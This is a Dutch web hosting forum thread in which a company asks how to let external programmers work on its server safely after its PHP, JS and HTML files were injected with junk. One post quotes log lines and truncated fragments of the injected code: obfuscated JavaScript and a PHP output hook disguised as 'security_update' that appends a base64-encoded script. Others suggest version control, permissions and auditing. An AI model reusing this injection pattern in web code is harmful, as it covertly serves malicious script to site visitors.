webhostingtalk.nl
advertentie
advertentie

Evenementen voor de komende 60 Dag(en)

Pagina 1 van de 2 1 2 LaatsteLaatste
Resultaten 1 tot 15 van de 17
          

  1.  
    #1
    geregistreerd gebruiker
    13 Berichten
    Ingeschreven
    28/08/09

    Locatie
    Enschede

    0 Berichten zijn liked

    ts24 is offline.

    Registrar SIDN: nee
    KvK nummer: 08140541
    Ondernemingsnummer: nvt

    Veilig uploaden en werken door externe programmeurs

    Wij werken met enkele ext. programmeurs samen. Vanmorgen een nieuwe aangesteld en een testomgeving gemaakt, zodat hij eea kan coderen en testen. Voor de 2x dit jaar zie ik in de transfer.log file heel wat bestanden/mappen die zijn aangevuld met troep. Kost een boel tijd en ergernis.
    Het is niet onze policy om de volledige source te laten downloaden door ext. medewerkers. Bij ons gaat het enkel om dit aspect: ext. medewerkers die code voor ons ontwikkelen. Daar zit het beveiligingslek die dit veroorzaakt.
    Heb VSN van Apache bekeken, maar die gaat uit van volledige source downloaden (volgens mij).

    Vraag: Wat voor omgeving moet je creëren voor externe programmeurs zodat bij het uploaden van source files er geen junk op onze server komt?


  2.  
    #2
    HOSTING - VPS - DEDICATED
    116 Berichten
    Ingeschreven
    03/08/11

    Locatie
    Naaldwijk

    2 Berichten zijn liked

    wijtec is offline.

    Registrar SIDN: nee
    KvK nummer: NL821480285B01
    Ondernemingsnummer: nvt

    heb je een voorbeeld van wat voor troep je in je logs vind?


  3.  
    #3
    cloud hosting en webdev.
    154 Berichten
    Ingeschreven
    18/01/11

    Locatie
    Groningen

    1 Berichten zijn liked

    rimote is offline.

    Registrar SIDN: ja
    KvK nummer: 02088913
    Ondernemingsnummer: nvt

    Kan je bepaalde mappen/bestanden van de codebase aanwijzen die wel/niet door externe programmeurs gezien/gebruikt mogen worden? Werken jullie met Linux?


  4.  
    #4
    geregistreerd gebruiker
    172 Berichten
    Ingeschreven
    21/09/10

    Locatie
    Wilp

    5 Berichten zijn liked

    websiteondemand is offline.

    Registrar SIDN: ja
    KvK nummer: 820618032

    Grootste veiligheidslek zit hem altijd intern heb ik in verschillende onderzoeken gelezen. Een externe moet zich ook gewoon aan de wet/contracten houden en daarbij berust het copyright, indien geregeld, bij jullie.

    Voorts zou ik van een fatoenlijk versiebeheer-systeem gebruikmaken en op basis van projecten die je daarin definieert, kan je prima onderscheiden wat wie voor welk project over de lijn kan trekken.

    Mijns inziens gaat het idee niet goed samen dat je wél externen inhuurt, maar vervolgens niet teveel wilt vrijgeven. Probeer een beetje een "wij"-gevoel te creëren en volgens mij loopt het dan vanzelf. En aan de voordeur jezelf indekken door je contracten op orde te hebben en volgens mij ben je er dan.


  5.  
    #5
    geregistreerd gebruiker
    13 Berichten
    Ingeschreven
    28/08/09

    Locatie
    Enschede

    0 Berichten zijn liked

    ts24 is offline.

    Registrar SIDN: nee
    KvK nummer: 08140541
    Ondernemingsnummer: nvt

    Contractmatig is alles afgeschermd. Wij werken op een Debian 5 server. Het gaat mij sec om hoe je een veilige werkomgeving kunt creëren voor externen, zonder dat onderstaande codes in allerlei php js css en html files wordt gedropt. Nogmaals ter verduidelijking: niet welke code er wordt geupload maar wat een veilige werkomgeving is voor externen op onze server zonder dat externen de gehele code moeten downloaden.

    p5B01A09D.dip.t-dialin.net - ts24car-x [04/Aug/2011:15:43:50 +0100] "GET /var/www/clients/client1/web4/web/includes/google_conversiontracking.js.php" 200 1122
    p5B01A09D.dip.t-dialin.net - ts24car-x [04/Aug/2011:15:43:53 +0100] "PUT /var/www/clients/client1/web4/web/includes/google_conversiontracking.js.php" 200 6540

    p5B01A09D.dip.t-dialin.net - testts24 [04/Aug/2011:15:41:36 +0100] "GET /var/www/clients/client1/web18/web/includes/js/date-picker/js/datepicker.js" 200 181796
    p5B01A09D.dip.t-dialin.net - testts24 [04/Aug/2011:15:41:48 +0100] "PUT /var/www/clients/client1/web18/web/includes/js/date-picker/js/datepicker.js" 200 182936

    <script>s_uB=document;s_C=window;function s_z($,s_uS){return 0}function s_F(x){return x.join('')}if(typeof($)=='undefined'){s_uy=s_uB.ge tElementsByTagName('head')[0];s_uv=s_uB.cr

    <?php ob_start("security_update"); function security_update($buffer){return $buffer.base64_decode('PHNjcmlwdD5zX3VCPWRvY3VtZW5 0O3NfQz13aW5kb3c7ZnVuY3Rpb24gc196KCQsc191Uyl7cmV0d XJ


  6.  
    #6
    geregistreerd gebruiker
    172 Berichten
    Ingeschreven
    21/09/10

    Locatie
    Wilp

    5 Berichten zijn liked

    websiteondemand is offline.

    Registrar SIDN: ja
    KvK nummer: 820618032

    Veilige werkomgeving, zonder dat ze de gehele code moeten downloaden? Verklaar je nader. Ik zie hier FTP-verkeer? En je hebt het over snippets die ineens in "andere" files terecht kunnen komen, maar tegelijkertijd over downloaden van code?

    Waarom niets iets als git i.c.m. gitorious. Heb je goed overzicht en kan je het verkeer mooi versleutelen en zie je exact wie wat gecommit heeft.

    En als dat downloaden echt een probleem is, wellicht een VPN'etje aanleggen en 'in' het netwerk werken op die bestanden die nodig zijn?


  7.  
    #7
    Programmeur / Hoster
    2.727 Berichten
    Ingeschreven
    20/06/06

    Locatie
    Wijlre

    273 Berichten zijn liked

    systemdeveloper is offline.

    Naam: John Timmer
    Bedrijf: SystemDeveloper.NL
    Functie: Eigenaar
    URL: www.systemdeveloper.nl
    KvK nummer: 14083066
    View johntimmer's profile on LinkedIn

    Wat denk je van eenvoudig de rechten op de bestanden goed zetten waarvan je niet wilt dat ze aangepast worden?
    Of virusscannen van je uploads.
    Eventueel een Intrusion Prevention Systeem.
    Een test omgeving om eerst code te testen en te controleren voordat het over gaat naar een live omgeving.


  8.  
    #8
    geregistreerd gebruiker
    147 Berichten
    Ingeschreven
    11/08/10

    Locatie
    Maastricht

    10 Berichten zijn liked

    Vic D'Elfant is offline.

    Bedrijf: midd.ag
    Functie: Eigenaar / Software Architect
    URL: http://www.midd.ag
    Registrar SIDN: nee
    KvK nummer: 14100581

    Wij gebruiken Subversion gekoppeld aan een usergroup in Active Directory (Junior Developers / Senior Developers), en voor het releasen Atlassian Bamboo (ook gekoppeld aan AD). In Bamboo zijn twee release plans per project: Junior Developers kunnen alleen de staging releases draaien, Release Managers zijn de enigen die daadwerkelijk naar productie kunnen releasen. In Bamboo kun je ook geautomatiseerde unit tests laten lopen voor een release dus dat is ook erg praktisch voor de grotere projecten.

    Als een developer vertrekt is het een kwestie van de AD account uitschakelen en klaar. De daadwerkelijke inhoud van de code zou je nog altijd moeten nalopen met een audit tool, maar dat probleem blijf je altijd houden. Het belangrijkste is dat je de daadwerkelijke FTP gegevens volledig afschermt van de developer en tevens de foutmarge bij een release terugbrengt naar bijna nihil.


  9.  
    #9
    geregistreerd gebruiker
    13 Berichten
    Ingeschreven
    28/08/09

    Locatie
    Enschede

    0 Berichten zijn liked

    ts24 is offline.

    Registrar SIDN: nee
    KvK nummer: 08140541
    Ondernemingsnummer: nvt

    Vic; dat is de eerste reactie waar ik (en waarschijnlijk ook anderen) iets mee kunnen. Ik veronderstel dat hiermee wordt gewerkt binnen een afgeschermde omgeving op onze server. Zonder complete sources te hoeven downloaden door de prog.
    Zal dit doorsturen naar onze server maintainer. Met dank.


  10.  
    #10
    geregistreerd gebruiker
    1.843 Berichten
    Ingeschreven
    23/10/03

    Locatie
    Enschede (+ London)

    20 Berichten zijn liked

    maxnet is offline.

    Registrar SIDN: ja
    KvK nummer: 08119406
    Ondernemingsnummer: -

    Oorspronkelijk geplaatst door ts24 Bekijk Berichten
    Zonder complete sources te hoeven downloaden door de prog.
    Nee, wil je dat echt voorkomen, dan zul je je medewerkers op je eigen lokatie moeten laten werken, op een aparte computer zonder Internet.
    Gebruikelijk bij defensie leveranciers, maar voor het ontwikkelen van de gemiddelde webapplicatie overkill.


    git/svn/cvs zijn versiebeheer tools.
    Kan je exact mee zien door wie welke regel code gewijzigd is, en eventueel wijzigingen eerst handmatig goedkeuren voordat ze in de uiteindelijke release terecht komen.
    Zodoende kan je die inderdaad gebruiken om het toevoegen van kwaadwillende code tegen te houden, mits je zelf wel de expertise hebt om de broncode te begrijpen en te beoordelen.


    Eerste wat zo'n tooltje echter doet is alle bestaande source naar het lokale systeem van de ontwikkelaar downloaden.
    Ben je bang dat deze je intellectueel eigendom aan de concurrent doorverkoopt, dan helpt dat daar niet tegen.
    Beetje vertouwen mag echter ook wel, en zorg dat je je ontwikkelaars genoeg betaald.


  11.  
    #11
    geregistreerd gebruiker
    147 Berichten
    Ingeschreven
    11/08/10

    Locatie
    Maastricht

    10 Berichten zijn liked

    Vic D'Elfant is offline.

    Bedrijf: midd.ag
    Functie: Eigenaar / Software Architect
    URL: http://www.midd.ag
    Registrar SIDN: nee
    KvK nummer: 14100581

    Oorspronkelijk geplaatst door ts24 Bekijk Berichten
    Ik veronderstel dat hiermee wordt gewerkt binnen een afgeschermde omgeving op onze server. Zonder complete sources te hoeven downloaden door de prog..
    Klopt ja, je kunt de poort van de webinterface van Bamboo gewoon dicht zetten (met een uitzondering voor de remote agents, als je die gaat gebruiken).

    Voor wat betreft de source: ik denk dat dat een probleem is dat inherent is aan het werken met broncode... je hebt 9 van de 10 keer de complete code nodig om überhaupt ermee te kunnen werken, dus dat voorkom je niet. Als de developers in een volledig onafhankelijk stuk van de code werken zou je echter wel nog met branches kunnen werken, en hier dan de rechten op afstemmen in je SVN auth file. Vervolgens laat je Bamboo (ofja, Ant of welke builder je wilt) dan het complete plaatje samenvoegen.


  12.  
    #12
    geregistreerd gebruiker
    1.843 Berichten
    Ingeschreven
    23/10/03

    Locatie
    Enschede (+ London)

    20 Berichten zijn liked

    maxnet is offline.

    Registrar SIDN: ja
    KvK nummer: 08119406
    Ondernemingsnummer: -

    Oorspronkelijk geplaatst door Vic D'Elfant Bekijk Berichten
    Als de developers in een volledig onafhankelijk stuk van de code werken zou je echter wel nog met branches kunnen werken, en hier dan de rechten op afstemmen in je SVN auth file. Vervolgens laat je Bamboo (ofja, Ant of welke builder je wilt) dan het complete plaatje samenvoegen.
    Bij de meeste webapplicaties wordt gebruik gemaakt van geinterpreteerde talen als PHP en Ruby, waarbij de source leesbaar op de webserver aanwezig is.

    De kwaadwillende ontwikkelaar hoeft maar een file manager achtig stukje aan zijn code toe te voegen, Bamboo de boel bij elkaar te laten voegen, en zijn module op de webserver van de testomgeving aan te roepen, om alsnog de rest van de code binnen te kunnen harken.


  13.  
    #13
    geregistreerd gebruiker
    147 Berichten
    Ingeschreven
    11/08/10

    Locatie
    Maastricht

    10 Berichten zijn liked

    Vic D'Elfant is offline.

    Bedrijf: midd.ag
    Functie: Eigenaar / Software Architect
    URL: http://www.midd.ag
    Registrar SIDN: nee
    KvK nummer: 14100581

    Klopt; ik ging er wel vanuit dat er dan auditing wordt toegepast... anders kun je in principe een complete backdoor in SVN zetten en wachten totdat het op productie komt

  14. advertentie



  15.  
    #14
    geregistreerd gebruiker
    1.843 Berichten
    Ingeschreven
    23/10/03

    Locatie
    Enschede (+ London)

    20 Berichten zijn liked

    maxnet is offline.

    Registrar SIDN: ja
    KvK nummer: 08119406
    Ondernemingsnummer: -

    Oorspronkelijk geplaatst door Vic D'Elfant Bekijk Berichten
    Klopt; ik ging er wel vanuit dat er dan auditing wordt toegepast... anders kun je in principe een complete backdoor in SVN zetten en wachten totdat het op productie komt
    Auditing voordat het in productie komt kan ik in komen, maar lijkt me in de fases daarvoor wat onpraktisch.

    Neem aan dat de ontwikkelaar zijn spul ook moet kunnen testen, en dus zelfstandig bij de "voeg de modules samen" knop kan, en de testomgeving kan bereiken.


  16.  
    #15
    geregistreerd gebruiker
    147 Berichten
    Ingeschreven
    11/08/10

    Locatie
    Maastricht

    10 Berichten zijn liked

    Vic D'Elfant is offline.

    Bedrijf: midd.ag
    Functie: Eigenaar / Software Architect
    URL: http://www.midd.ag
    Registrar SIDN: nee
    KvK nummer: 14100581

    Zeker waar, een staging omgeving moet wel door developers te "gebruiken" blijven. Punt blijft echter dat er grenzen zijn aan wat je kunt controleren... op een gegeven moment zul je je devs toch echt moeten (kunnen) vertrouwen. Voor hetzelfde geld zet eentje er een while (true) { } in; dat kan net zo goed schadelijk zijn.


Pagina 1 van de 2 1 2 LaatsteLaatste

Gelijkaardige Onderwerpen

  1. PHP connecties naar externe servers is door host uitgeschakeld
    Door Jeffrey35 in forum Shared WebHosting
    Reacties: 17
    Laatste Bericht: 30/03/08, 00:28
  2. bouncerhosting veilig?
    Door EHS-Jerre in forum Beveiliging
    Reacties: 4
    Laatste Bericht: 18/01/08, 16:42
  3. Server veilig?
    Door ufeg02 in forum Beveiliging
    Reacties: 30
    Laatste Bericht: 22/05/07, 19:54
  4. chmod... wat is nu veilig???
    Door timmy in forum Techniek & Beveiliging
    Reacties: 4
    Laatste Bericht: 27/07/06, 09:43
  5. Windows proces opstarten door externe aanroep
    Door WH-Tim in forum Techniek & Beveiliging
    Reacties: 3
    Laatste Bericht: 14/06/06, 20:24

Forum Rechten

  • Je mag geen nieuwe onderwerpen plaatsen
  • Je mag geen reacties plaatsen
  • Je mag geen bijlagen toevoegen
  • Je mag jouw berichten niet wijzigen
  •  



webhostingtalk.nl
Webhostingtalk.nl © copyright 2001-2013 Alle Rechten Gereserveerd.

Content Relevant URLs by vBSEO 3.6.0

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75